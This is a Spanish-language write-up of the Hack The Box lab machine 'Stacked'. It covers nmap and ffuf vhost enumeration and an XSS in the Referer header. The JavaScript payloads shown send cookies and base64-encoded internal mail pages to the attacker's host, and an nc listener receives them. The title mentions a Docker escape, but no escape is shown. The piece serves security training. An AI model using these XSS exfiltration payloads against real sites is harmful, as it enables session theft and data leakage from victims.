Volver al inicio

HTB Stacked: Guía de XSS y escape de Docker

La máquina Stacked en Hack The Box demuestra una cadena de ataque: desde enumeración de vhost vía ffuf hasta XSS en Referer, proxy del servidor de correo interno y RCE con escape del contenedor Docker. Desglose detallado de nmap, comandos gobuster, payloads y arquitectura LocalStack.

Escape de Docker en HTB Stacked vía XSS
Advertisement 728x90

Escape de Contenedor Docker mediante XSS y RCE en HTB Stacked

El escaneo del host 10.129.228.28 con nmap reveló puertos abiertos: 22 (OpenSSH 8.2p1), 80 (Apache 2.4.41) y 2376 (demonio Docker con TLS). El puerto 80 aloja el dominio stacked.htb después de agregar una entrada a /etc/hosts. La página principal contiene un campo de correo electrónico sin tráfico de red visible al enviarlo.

La fuerza bruta de directorios con gobuster usando common.txt no arrojó resultados. Cambiando a enumeración de hosts virtuales con ffuf usando subdomains-top1million-5000.txt con un filtro de palabras (-fw 18) descubrió portfolio.stacked.htb.

gobuster dir -u http://stacked.htb -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://stacked.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.stacked.htb" -fw 18

Analizando portfolio.stacked.htb y LocalStack

El sitio portfolio.stacked.htb describe Stacked, una empresa que utiliza LocalStack—un emulador local de servicios AWS en contenedores Docker. Hay disponible un archivo docker-compose.yml con puertos expuestos:

Google AdInline article slot
  • 443 (HTTPS)
  • 4566 (API de LocalStack)
  • 4571 (probablemente Elasticsearch)
  • 8080 (Interfaz Web)
wget http://portfolio.stacked.htb/files/docker-compose.yml
docker compose up

La parte inferior de la página muestra el año de creación—una pista potencial para mayor explotación.

Descubriendo y Explotando XSS

El formulario de envío de datos personales en portfolio.stacked.htb refleja etiquetas HTML con el mensaje "¡xss detectado!". La inyección directa en el cuerpo de la solicitud a /process.php falla incluso con doble codificación URL.

Probar encabezados (User-Agent, Origin, Referer) reveló una vulnerabilidad en Referer. El payload <script src="http://10.10.16.10/test.js"></script> se ejecuta con éxito:

Google AdInline article slot
let req1 = new XMLHttpRequest();
req1.open('GET', 'http://10.10.16.10/cookie=' + document.cookie, false);
req1.send();

Las cookies están protegidas con HttpOnly. Cambiar a document.location reveló el origen: http://mail.stacked.htb/read-mail.php?id=2.

Ataque CSRF mediante XSS para Acceder a mail.stacked.htb

El nuevo subdominio mail.stacked.htb redirige solicitudes externas. A través del XSS de la víctima, implementamos un proxy:

  • Inyectar <script src="http://10.10.16.10/exploit.js"></script>.
  • El script solicita una página interna, la codifica en base64 y la envía al atacante:9001.
let req1 = new XMLHttpRequest();
req1.onreadystatechange = function(){
    if (this.readyState == 4){
        data = btoa(req1.response);
        let req2 = new XMLHttpRequest();
        req2.open('GET', 'http://10.10.16.10:9001/page=' + data, false);
        req2.send();
    }
}
req1.open('GET', 'http://mail.stacked.htb/read-mail.php?id=1', false);
req1.send();
nc -nlvp 9001
echo -n "PD9..." | base64 -d > index.html

La bandeja de entrada contiene un correo de Jeremy Taint sobre lanzar una instancia S3 (id=1). CSS/imágenes no cargan debido a restricciones de red.

Google AdInline article slot

Conclusiones Clave

  • XSS en el encabezado Referer conduce a ejecución de JS en el contexto de la víctima.
  • Proxy base64 mediante XMLHttpRequest evita restricciones de red de Docker.
  • docker-compose de LocalStack revela puertos internos y arquitectura.
  • La enumeración de hosts virtuales es crítica cuando falla dirbusting.
  • El filtro de palabras de ffuf (-fw) resuelve problemas de contenido de error dinámico.

— Editorial Team

Advertisement 728x90

Leer después